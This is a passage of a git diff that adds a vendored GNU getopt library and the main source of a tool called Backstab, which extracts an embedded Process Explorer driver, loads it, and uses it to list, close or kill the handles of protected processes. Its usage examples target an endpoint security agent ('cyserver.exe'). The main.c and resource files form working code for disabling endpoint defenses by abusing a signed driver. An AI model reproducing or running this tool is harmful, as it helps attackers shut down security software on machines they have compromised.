+ argv[0], nextchar);
+#else
+ fprintf(stderr, _("%s: unrecognized option `--%s'\n"),
+ argv[0], nextchar);
+#endif
+ }
+ else
+ {
+ /* +option or -option */
+#if defined _LIBC && defined USE_IN_LIBIO
+ __asprintf(&buf, _("%s: unrecognized option `%c%s'\n"),
+ argv[0], argv[optind][0], nextchar);
+#else
+ fprintf(stderr, _("%s: unrecognized option `%c%s'\n"),
+ argv[0], argv[optind][0], nextchar);
+#endif
+ }
+
+#if defined _LIBC && defined USE_IN_LIBIO
+ if (_IO_fwide(stderr, 0) > 0)
+ __fwprintf(stderr, L"%s", buf);
+ else
+ fputs(buf, stderr);
+
+ free(buf);
+#endif
+ }
+ nextchar = (char*)"";
+ optind++;
+ optopt = 0;
+ return '?';
+ }
+ }
+
+ /* Look at and handle the next short option-character. */
+
+ {
+ char c = *nextchar++;
+ char* temp = my_index(optstring, c);
+
+ /* Increment `optind' when we start to process its last character. */
+ if (*nextchar == '\0')
+ ++optind;
+
+ if (temp == NULL || c == ':')
+ {
+ if (print_errors)
+ {
+#if defined _LIBC && defined USE_IN_LIBIO
+ char* buf;
+#endif
+
+ if (posixly_correct)
+ {
+ /* 1003.2 specifies the format of this message. */
+#if defined _LIBC && defined USE_IN_LIBIO
+ __asprintf(&buf, _("%s: illegal option -- %c\n"),
+ argv[0], c);
+#else
+ fprintf(stderr, _("%s: illegal option -- %c\n"), argv[0], c);
+#endif
+ }
+ else
+ {
+#if defined _LIBC && defined USE_IN_LIBIO
+ __asprintf(&buf, _("%s: invalid option -- %c\n"),
+ argv[0], c);
+#else
+ fprintf(stderr, _("%s: invalid option -- %c\n"), argv[0], c);
+#endif
+ }
+
+#if defined _LIBC && defined USE_IN_LIBIO
+ if (_IO_fwide(stderr, 0) > 0)
+ __fwprintf(stderr, L"%s", buf);
+ else
+ fputs(buf, stderr);
+
+ free(buf);
+#endif
+ }
+ optopt = c;
+ return '?';
+ }
+ /* Convenience. Treat POSIX -W foo same as long option --foo */
+ if (temp[0] == 'W' && temp[1] == ';')
+ {
+ char* nameend;
+ const struct option* p;
+ const struct option* pfound = NULL;
+ int exact = 0;
+ int ambig = 0;
+ int indfound = 0;
+ int option_index;
+
+ /* This is an option that requires an argument. */
+ if (*nextchar != '\0')
+ {
+ optarg = nextchar;
+ /* If we end this ARGV-element by taking the rest as an arg,
+ we must advance to the next element now. */
+ optind++;
+ }
+ else if (optind == argc)
+ {
+ if (print_errors)
+ {
+ /* 1003.2 specifies the format of this message. */
+#if defined _LIBC && defined USE_IN_LIBIO
+ char* buf;
+
+ __asprintf(&buf, _("%s: option requires an argument -- %c\n"),
+ argv[0], c);
+
+ if (_IO_fwide(stderr, 0) > 0)
+ __fwprintf(stderr, L"%s", buf);
+ else
+ fputs(buf, stderr);
+
+ free(buf);
+#else
+ fprintf(stderr, _("%s: option requires an argument -- %c\n"),
+ argv[0], c);
+#endif
+ }
+ optopt = c;
+ if (optstring[0] == ':')
+ c = ':';
+ else
+ c = '?';
+ return c;
+ }
+ else
+ /* We already incremented `optind' once;
+ increment it again when taking next ARGV-elt as argument. */
+ optarg = argv[optind++];
+
+ /* optarg is now the argument, see if it's in the
+ table of longopts. */
+
+ for (nextchar = nameend = optarg; *nameend && *nameend != '='; nameend++)
+ /* Do nothing. */;
+
+ /* Test all long options for either exact match
+ or abbreviated matches. */
+ for (p = longopts, option_index = 0; p->name; p++, option_index++)
+ if (!strncmp(p->name, nextchar, nameend - nextchar))
+ {
+ if ((unsigned int)(nameend - nextchar) == strlen(p->name))
+ {
+ /* Exact match found. */
+ pfound = p;
+ indfound = option_index;
+ exact = 1;
+ break;
+ }
+ else if (pfound == NULL)
+ {
+ /* First nonexact match found. */
+ pfound = p;
+ indfound = option_index;
+ }
+ else
+ /* Second or later nonexact match found. */
+ ambig = 1;
+ }
+ if (ambig && !exact)
+ {
+ if (print_errors)
+ {
+#if defined _LIBC && defined USE_IN_LIBIO
+ char* buf;
+
+ __asprintf(&buf, _("%s: option `-W %s' is ambiguous\n"),
+ argv[0], argv[optind]);
+
+ if (_IO_fwide(stderr, 0) > 0)
+ __fwprintf(stderr, L"%s", buf);
+ else
+ fputs(buf, stderr);
+
+ free(buf);
+#else
+ fprintf(stderr, _("%s: option `-W %s' is ambiguous\n"),
+ argv[0], argv[optind]);
+#endif
+ }
+ nextchar += strlen(nextchar);
+ optind++;
+ return '?';
+ }
+ if (pfound != NULL)
+ {
+ option_index = indfound;
+ if (*nameend)
+ {
+ /* Don't test has_arg with >, because some C compilers don't
+ allow it to be used on enums. */
+ if (pfound->has_arg)
+ optarg = nameend + 1;
+ else
+ {
+ if (print_errors)
+ {
+#if defined _LIBC && defined USE_IN_LIBIO
+ char* buf;
+
+ __asprintf(&buf, _("\
+ %s: option `-W %s' doesn't allow an argument\n"),
+ argv[0], pfound->name);
+
+ if (_IO_fwide(stderr, 0) > 0)
+ __fwprintf(stderr, L"%s", buf);
+ else
+ fputs(buf, stderr);
+
+ free(buf);
+#else
+ fprintf(stderr, _("\
+ %s: option `-W %s' doesn't allow an argument\n"),
+ argv[0], pfound->name);
+#endif
+ }
+
+ nextchar += strlen(nextchar);
+ return '?';
+ }
+ }
+ else if (pfound->has_arg == 1)
+ {
+ if (optind < argc)
+ optarg = argv[optind++];
+ else
+ {
+ if (print_errors)
+ {
+#if defined _LIBC && defined USE_IN_LIBIO
+ char* buf;
+
+ __asprintf(&buf, _("\
+ %s: option `%s' requires an argument\n"),
+ argv[0], argv[optind - 1]);
+
+ if (_IO_fwide(stderr, 0) > 0)
+ __fwprintf(stderr, L"%s", buf);
+ else
+ fputs(buf, stderr);
+
+ free(buf);
+#else
+ fprintf(stderr,
+ _("%s: option `%s' requires an argument\n"),
+ argv[0], argv[optind - 1]);
+#endif
+ }
+ nextchar += strlen(nextchar);
+ return optstring[0] == ':' ? ':' : '?';
+ }
+ }
+ nextchar += strlen(nextchar);
+ if (longind != NULL)
+ *longind = option_index;
+ if (pfound->flag)
+ {
+ *(pfound->flag) = pfound->val;
+ return 0;
+ }
+ return pfound->val;
+ }
+ nextchar = NULL;
+ return 'W'; /* Let the application handle it. */
+ }
+ if (temp[1] == ':')
+ {
+ if (temp[2] == ':')
+ {
+ /* This is an option that accepts an argument optionally. */
+ if (*nextchar != '\0')
+ {
+ optarg = nextchar;
+ optind++;
+ }
+ else
+ optarg = NULL;
+ nextchar = NULL;
+ }
+ else
+ {
+ /* This is an option that requires an argument. */
+ if (*nextchar != '\0')
+ {
+ optarg = nextchar;
+ /* If we end this ARGV-element by taking the rest as an arg,
+ we must advance to the next element now. */
+ optind++;
+ }
+ else if (optind == argc)
+ {
+ if (print_errors)
+ {
+ /* 1003.2 specifies the format of this message. */
+#if defined _LIBC && defined USE_IN_LIBIO
+ char* buf;
+
+ __asprintf(&buf,
+ _("%s: option requires an argument -- %c\n"),
+ argv[0], c);
+
+ if (_IO_fwide(stderr, 0) > 0)
+ __fwprintf(stderr, L"%s", buf);
+ else
+ fputs(buf, stderr);
+
+ free(buf);
+#else
+ fprintf(stderr,
+ _("%s: option requires an argument -- %c\n"),
+ argv[0], c);
+#endif
+ }
+ optopt = c;
+ if (optstring[0] == ':')
+ c = ':';
+ else
+ c = '?';
+ }
+ else
+ /* We already incremented `optind' once;
+ increment it again when taking next ARGV-elt as argument. */
+ optarg = argv[optind++];
+ nextchar = NULL;
+ }
+ }
+ return c;
+ }
+}
+
+int
+getopt(argc, argv, optstring)
+int argc;
+char* const* argv;
+const char* optstring;
+{
+ return _getopt_internal(argc, argv, optstring,
+ (const struct option*)0,
+ (int*)0,
+ 0);
+}
+
+
+
+
+int
+getopt_long(int argc, char* const* argv, const char* options,
+ const struct option* long_options, int* opt_index)
+{
+ return _getopt_internal(argc, argv, options, long_options, opt_index, 0, 0);
+}
+
+int
+getopt_long_only(int argc, char* const* argv, const char* options,
+ const struct option* long_options, int* opt_index)
+{
+ return _getopt_internal(argc, argv, options, long_options, opt_index, 1, 0);
+}
+
+
+
+
+
+#endif /* Not ELIDE_CODE. */
+
+#ifdef TEST
+
+/* Compile with -DTEST to make an executable for use in testing
+the above definition of `getopt'. */
+
+int
+main(argc, argv)
+int argc;
+char** argv;
+{
+ int c;
+ int digit_optind = 0;
+
+ while (1)
+ {
+ int this_option_optind = optind ? optind : 1;
+
+ c = getopt(argc, argv, "abc:d:0123456789");
+ if (c == -1)
+ break;
+
+ switch (c)
+ {
+ case '0':
+ case '1':
+ case '2':
+ case '3':
+ case '4':
+ case '5':
+ case '6':
+ case '7':
+ case '8':
+ case '9':
+ if (digit_optind != 0 && digit_optind != this_option_optind)
+ printf("digits occur in two different argv-elements.\n");
+ digit_optind = this_option_optind;
+ printf("option %c\n", c);
+ break;
+
+ case 'a':
+ printf("option a\n");
+ break;
+
+ case 'b':
+ printf("option b\n");
+ break;
+
+ case 'c':
+ printf("option c with value `%s'\n", optarg);
+ break;
+
+ case '?':
+ break;
+
+ default:
+ printf("?? getopt returned character code 0%o ??\n", c);
+ }
+ }
+
+ if (optind < argc)
+ {
+ printf("non-option ARGV-elements: ");
+ while (optind < argc)
+ printf("%s ", argv[optind++]);
+ printf("\n");
+ }
+
+ exit(0);
+}
+
+#endif /* TEST */
\ No newline at end of file
diff --git a/Backstab/getopt.h b/Backstab/getopt.h
new file mode 100644
index 0000000..40f99e5
--- /dev/null
+++ b/Backstab/getopt.h
@@ -0,0 +1,180 @@
+//src: https://github.com/Chunde/getopt-for-windows
+/* Declarations for getopt.
+ Copyright (C) 1989-1994,1996-1999,2001,2003,2004,2009,2010
+ Free Software Foundation, Inc.
+ This file is part of the GNU C Library.
+ The GNU C Library is free software; you can redistribute it and/or
+ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+ version 2.1 of the License, or (at your option) any later version.
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ Lesser General Public License for more details.
+ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, write to the Free
+ Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+ 02111-1307 USA. */
+
+#ifndef _GETOPT_H
+
+#ifndef __need_getopt
+# define _GETOPT_H 1
+#endif
+
+ /* If __GNU_LIBRARY__ is not already defined, either we are being used
+ standalone, or this is the first header included in the source file.
+ If we are being used with glibc, we need to include , but
+ that does not exist if we are standalone. So: if __GNU_LIBRARY__ is
+ not defined, include , which will pull in for us
+ if it's from glibc. (Why ctype.h? It's guaranteed to exist and it
+ doesn't flood the namespace with stuff the way some other headers do.) */
+#if !defined __GNU_LIBRARY__
+# include
+#endif
+
+#ifndef __THROW
+# ifndef __GNUC_PREREQ
+# define __GNUC_PREREQ(maj, min) (0)
+# endif
+# if defined __cplusplus && __GNUC_PREREQ (2,8)
+# define __THROW throw ()
+# else
+# define __THROW
+# endif
+#endif
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+ /* For communication from `getopt' to the caller.
+ When `getopt' finds an option that takes an argument,
+ the argument value is returned here.
+ Also, when `ordering' is RETURN_IN_ORDER,
+ each non-option ARGV-element is returned here. */
+
+ extern char* optarg;
+
+ /* Index in ARGV of the next element to be scanned.
+ This is used for communication to and from the caller
+ and for communication between successive calls to `getopt'.
+ On entry to `getopt', zero means this is the first call; initialize.
+ When `getopt' returns -1, this is the index of the first of the
+ non-option elements that the caller should itself scan.
+ Otherwise, `optind' communicates from one call to the next
+ how much of ARGV has been scanned so far. */
+
+ extern int optind;
+
+ /* Callers store zero here to inhibit the error message `getopt' prints
+ for unrecognized options. */
+
+ extern int opterr;
+
+ /* Set to an option character which was unrecognized. */
+
+ extern int optopt;
+
+#ifndef __need_getopt
+ /* Describe the long-named options requested by the application.
+ The LONG_OPTIONS argument to getopt_long or getopt_long_only is a vector
+ of `struct option' terminated by an element containing a name which is
+ zero.
+ The field `has_arg' is:
+ no_argument (or 0) if the option does not take an argument,
+ required_argument (or 1) if the option requires an argument,
+ optional_argument (or 2) if the option takes an optional argument.
+ If the field `flag' is not NULL, it points to a variable that is set
+ to the value given in the field `val' when the option is found, but
+ left unchanged if the option is not found.
+ To have a long-named option do something other than set an `int' to
+ a compiled-in constant, such as set a value from `optarg', set the
+ option's `flag' field to zero and its `val' field to a nonzero
+ value (the equivalent single-letter option character, if there is
+ one). For long options that have a zero `flag' field, `getopt'
+ returns the contents of the `val' field. */
+
+ struct option
+ {
+ const char* name;
+ /* has_arg can't be an enum because some compilers complain about
+ type mismatches in all the code that assumes it is an int. */
+ int has_arg;
+ int* flag;
+ int val;
+ };
+
+ /* Names for the values of the `has_arg' field of `struct option'. */
+
+# define no_argument 0
+# define required_argument 1
+# define optional_argument 2
+#endif /* need getopt */
+
+
+/* Get definitions and prototypes for functions to process the
+ arguments in ARGV (ARGC of them, minus the program name) for
+ options given in OPTS.
+ Return the option character from OPTS just read. Return -1 when
+ there are no more options. For unrecognized options, or options
+ missing arguments, `optopt' is set to the option letter, and '?' is
+ returned.
+ The OPTS string is a list of characters which are recognized option
+ letters, optionally followed by colons, specifying that that letter
+ takes an argument, to be placed in `optarg'.
+ If a letter in OPTS is followed by two colons, its argument is
+ optional. This behavior is specific to the GNU `getopt'.
+ The argument `--' causes premature termination of argument
+ scanning, explicitly telling `getopt' that there are no more
+ options.
+ If OPTS begins with `--', then non-option arguments are treated as
+ arguments to the option '\0'. This behavior is specific to the GNU
+ `getopt'. */
+
+#ifdef __GNU_LIBRARY__
+ /* Many other libraries have conflicting prototypes for getopt, with
+ differences in the consts, in stdlib.h. To avoid compilation
+ errors, only prototype getopt for the GNU C library. */
+ extern int getopt(int ___argc, char* const* ___argv, const char* __shortopts)
+ __THROW;
+
+# if defined __need_getopt && defined __USE_POSIX2 \
+ && !defined __USE_POSIX_IMPLICITLY && !defined __USE_GNU
+ /* The GNU getopt has more functionality than the standard version. The
+ additional functionality can be disable at runtime. This redirection
+ helps to also do this at runtime. */
+# ifdef __REDIRECT
+ extern int __REDIRECT_NTH(getopt, (int ___argc, char* const* ___argv,
+ const char* __shortopts),
+ __posix_getopt);
+# else
+ extern int __posix_getopt(int ___argc, char* const* ___argv,
+ const char* __shortopts) __THROW;
+# define getopt __posix_getopt
+# endif
+# endif
+#else /* not __GNU_LIBRARY__ */
+ extern int getopt();
+#endif /* __GNU_LIBRARY__ */
+
+#ifndef __need_getopt
+ extern int getopt_long(int ___argc, char* const* ___argv,
+ const char* __shortopts,
+ const struct option* __longopts, int* __longind)
+ __THROW;
+ extern int getopt_long_only(int ___argc, char* const* ___argv,
+ const char* __shortopts,
+ const struct option* __longopts, int* __longind)
+ __THROW;
+
+#endif
+
+#ifdef __cplusplus
+}
+#endif
+
+/* Make sure we later can get all the definitions and declarations. */
+#undef __need_getopt
+
+#endif /* getopt.h */
\ No newline at end of file
diff --git a/Backstab/main.c b/Backstab/main.c
new file mode 100644
index 0000000..683d46c
--- /dev/null
+++ b/Backstab/main.c
@@ -0,0 +1,234 @@
+#include "common.h"
+#include "Processes.h"
+#include "Driverloading.h"
+#include "getopt.h"
+#include "ProcExp.h"
+#include "resource.h"
+
+
+//https://azrael.digipen.edu/~mmead/www/Courses/CS180/getopt.html
+
+#define INPUT_ERROR_NONEXISTENT_PID 1
+#define INPUT_ERROR_TOO_MANY_PROCESSES 2
+
+
+
+BOOL verifyPID(DWORD dwPID) {
+ HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwPID);
+ if (hProcess == INVALID_HANDLE_VALUE)
+ {
+ return FALSE;
+ }
+ return TRUE;
+}
+
+
+
+
+int PrintInputError(DWORD dwErrorValue) {
+
+ switch (dwErrorValue)
+ {
+ case INPUT_ERROR_NONEXISTENT_PID:
+ printf("Either PID number or name is incorrect\n");
+ break;
+ case INPUT_ERROR_TOO_MANY_PROCESSES:
+ printf("Either name specified has multiple instances, or you specified a name AND a PID\n");
+ break;
+ default:
+ break;
+ }
+
+ printf("\nUsage: backstab.exe <-n name || -p PID> [options] \n");
+
+ printf("\t-n,\t\tChoose process by name, including the .exe suffix\n");
+ printf("\t-p,\t\tChoose process by PID\n");
+ printf("\t-l,\t\tList handles of protected process\n");
+ printf("\t-k,\t\tKill the protected process by closing its handles\n");
+ printf("\t-x,\t\tClose a specific handle\n");
+ printf("\t-d,\t\tSpecify path to where ProcExp will be extracted\n");
+ printf("\t-s,\t\tSpecify service name registry key\n");
+ printf("\t-u,\t\t(attempt to) Unload ProcExp driver\n");
+ printf("\t-h,\t\tPrint this menu\n");
+
+ printf("Examples:\n");
+ printf("\tbackstab.exe -n cyserver.exe -k\t\t [kill cyserver]\n");
+ printf("\tbackstab.exe -n cyserver.exe -x E4C\t\t [Close handle E4C of cyserver]\n");
+ printf("\tbackstab.exe -n cyserver.exe -l\t\t[list all handles of cyserver]\n");
+ printf("\tbackstab.exe -p 4326 -k -d c:\\\\driver.sys\t\t[kill protected process with PID 4326, extract ProcExp driver to C:\\]\n");
+
+
+ return -1;
+}
+
+
+
+
+int main(int argc, char* argv[]) {
+
+ int opt;
+ WCHAR szServiceName[MAX_PATH] = L"ProcExp64";
+ WCHAR szProcessName[MAX_PATH] = {0};
+ WCHAR szDriverPath[MAX_PATH] = {0};
+ HANDLE hProtectedProcess = NULL;
+
+ LPSTR szHandleToClose = NULL;
+ DWORD dwPid = 0;
+
+ BOOL
+ isUsingProcessName = FALSE,
+ isUsingProcessPID = FALSE,
+ isUsingDifferentServiceName = FALSE,
+ isUsingDifferentDriverPath = FALSE,
+ isUsingSpecificHandle = FALSE,
+ isRequestingHandleList = FALSE,
+ isRequestingProcessKill = FALSE,
+ isRequestingDriverUnload = FALSE,
+ bRet = FALSE
+ ;
+
+
+ while ((opt = getopt(argc, argv, "hukln:p:s:d:x:")) != -1)
+ {
+ switch (opt)
+ {
+ case 'n':
+ {
+ isUsingProcessName = TRUE;
+ bRet = GetProcessPIDFromName(charToWChar(optarg), &dwPid);
+ if (!bRet)
+ return PrintInputError(dwPid);
+ break;
+ }
+ case 'p':
+ {
+ isUsingProcessPID = TRUE;
+ dwPid = atoi(optarg);
+ if (!verifyPID(dwPid))
+ return PrintInputError(INPUT_ERROR_NONEXISTENT_PID);
+ break;
+ }
+ case 's':
+ {
+ isUsingDifferentServiceName = TRUE;
+ memset(szDriverPath, 0, sizeof(szDriverPath));
+ wcscpy_s(szServiceName, _countof(szServiceName), charToWChar(optarg));
+ break;
+ }
+ case 'd':
+ {
+ isUsingDifferentDriverPath = TRUE;
+ memset(szDriverPath, 0, sizeof(szDriverPath));
+ wcscpy_s(szDriverPath, _countof(szDriverPath), charToWChar(optarg));
+ break;
+ }
+ case 'x':
+ {
+ isUsingSpecificHandle = TRUE;
+ szHandleToClose = optarg;
+ break;
+ }
+ case 'l':
+ {
+ isRequestingHandleList = TRUE;
+ break;
+ }
+ case 'k':
+ {
+ isRequestingProcessKill = TRUE;
+ break;
+ }
+ case 'h':
+ {
+ return PrintInputError(-1);
+ break;
+ }
+ case 'u':
+ {
+ isRequestingDriverUnload = TRUE;
+ }
+ }
+ }
+
+
+ /* input sanity checks */
+ if (!isUsingProcessName && !isUsingProcessPID)
+ {
+ return PrintInputError(INPUT_ERROR_NONEXISTENT_PID);
+ }
+ else if (isUsingProcessName && isUsingProcessPID)
+ {
+ return PrintInputError(INPUT_ERROR_TOO_MANY_PROCESSES);
+ }
+
+ if (!InitializeNecessaryNtAddresses())
+ {
+ return -1;
+ }
+
+
+ /* extracting the driver */
+ if (!isUsingDifferentDriverPath)
+ {
+ WCHAR cwd[MAX_PATH + 1];
+ printf("no special driver dir specified, extracting to current dir\n");
+ GetCurrentDirectoryW(MAX_PATH + 1, cwd);
+ _snwprintf_s(szDriverPath, MAX_PATH, _TRUNCATE, L"%ws\\%ws", cwd, L"PROCEXP");
+ WriteResourceToDisk(szDriverPath);
+ }
+ else {
+ printf("extracting the drive to %ws\n", szDriverPath);
+ WriteResourceToDisk(szDriverPath);
+ }
+
+
+
+ /* driver loading logic */
+ if (!LoadDriver(szDriverPath, szServiceName)) {
+ if (isRequestingDriverUnload) /*sometimes I can't load the driver because it is already loaded, and I want to unload it*/
+ {
+ UnloadDriver(szDriverPath, szServiceName);
+ }
+ return Error("Could not load driver");
+ }
+
+
+
+ /* connect to the loaded driver */
+ if (!ConnectToProcExpDevice()) {
+
+ return Error("Could not connect to ProcExp device");
+ }
+
+
+ /* get a handle to the protected process */
+ hProtectedProcess = ProcExpOpenProtectedProcess(dwPid);
+ if (hProtectedProcess == INVALID_HANDLE_VALUE)
+ {
+ return Error("could not get handle to protected process\n");
+ }
+
+
+ /* perform required operation */
+ if (isRequestingHandleList)
+ {
+ ListProcessHandles(hProtectedProcess);
+ }
+ else if (isRequestingProcessKill) {
+ KillProcessHandles(hProtectedProcess);
+ }
+ else if (isUsingSpecificHandle)
+ {
+ ProcExpKillHandle(dwPid, szHandleToClose);
+ }
+ else {
+ printf("Please select an operation\n");
+ }
+
+ if (isRequestingDriverUnload)
+ {
+ UnloadDriver(szDriverPath, szServiceName);
+ }
+
+ return 0;
+}
\ No newline at end of file
diff --git a/Backstab/resource.c b/Backstab/resource.c
new file mode 100644
index 0000000..5f00e49
--- /dev/null
+++ b/Backstab/resource.c
@@ -0,0 +1,41 @@
+#include "resource.h"
+
+
+/* adopted from: https://stackoverflow.com/questions/11388134/extract-file-from-resource-in-windows-module */
+BOOL WriteResourceToDisk(LPWSTR path) {
+ HGLOBAL hgResHandle = NULL;
+ HRSRC hrRes = NULL;
+ LPVOID lpLock = NULL;
+ DWORD dwResourceSize = 0, dwBytesWritten = 0;
+ HANDLE hFile = NULL;
+ BOOL bRet;
+
+ hrRes = FindResource(NULL, MAKEINTRESOURCE(RES_PROCEXP_BINARY), RT_RCDATA);
+ if (!hrRes)
+ return Error("FindResource");
+
+ hgResHandle = LoadResource(NULL, hrRes);
+ if (!hgResHandle)
+ return Error("LoadResource");
+
+ lpLock = (LPVOID)LockResource(hgResHandle);
+ if (!lpLock)
+ return Error("LockResource");
+
+ dwResourceSize = SizeofResource(NULL, hrRes);
+ if (dwResourceSize == 0)
+ return Error("SizeOfResource");
+
+ hFile = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (hFile == INVALID_HANDLE_VALUE)
+ return Error("WriteResourceToDisk.CreateFile");
+
+ bRet = WriteFile(hFile, lpLock, dwResourceSize, &dwBytesWritten, NULL);
+ if (!bRet)
+ return Error("WriteResourceToDisk.WriteFile");
+
+ CloseHandle(hFile);
+ FreeResource(hgResHandle);
+
+ return TRUE;
+}
\ No newline at end of file
diff --git a/Backstab/resource.h b/Backstab/resource.h
new file mode 100644
index 0000000..8e6c61d
--- /dev/null
+++ b/Backstab/resource.h
@@ -0,0 +1,11 @@
+#pragma once
+#include "common.h"
+
+#define RES_PROCEXP_BINARY 1000
+
+///
+/// Writes the embedded binary file to the specified path
+///
+/// The absolute path to which the binary file should be written
+///
+BOOL WriteResourceToDisk(LPWSTR path);
\ No newline at end of file
diff --git a/resources/PROCEXP.sys b/resources/PROCEXP.sys
new file mode 100644
index 0000000..4b00135
Binary files /dev/null and b/resources/PROCEXP.sys differ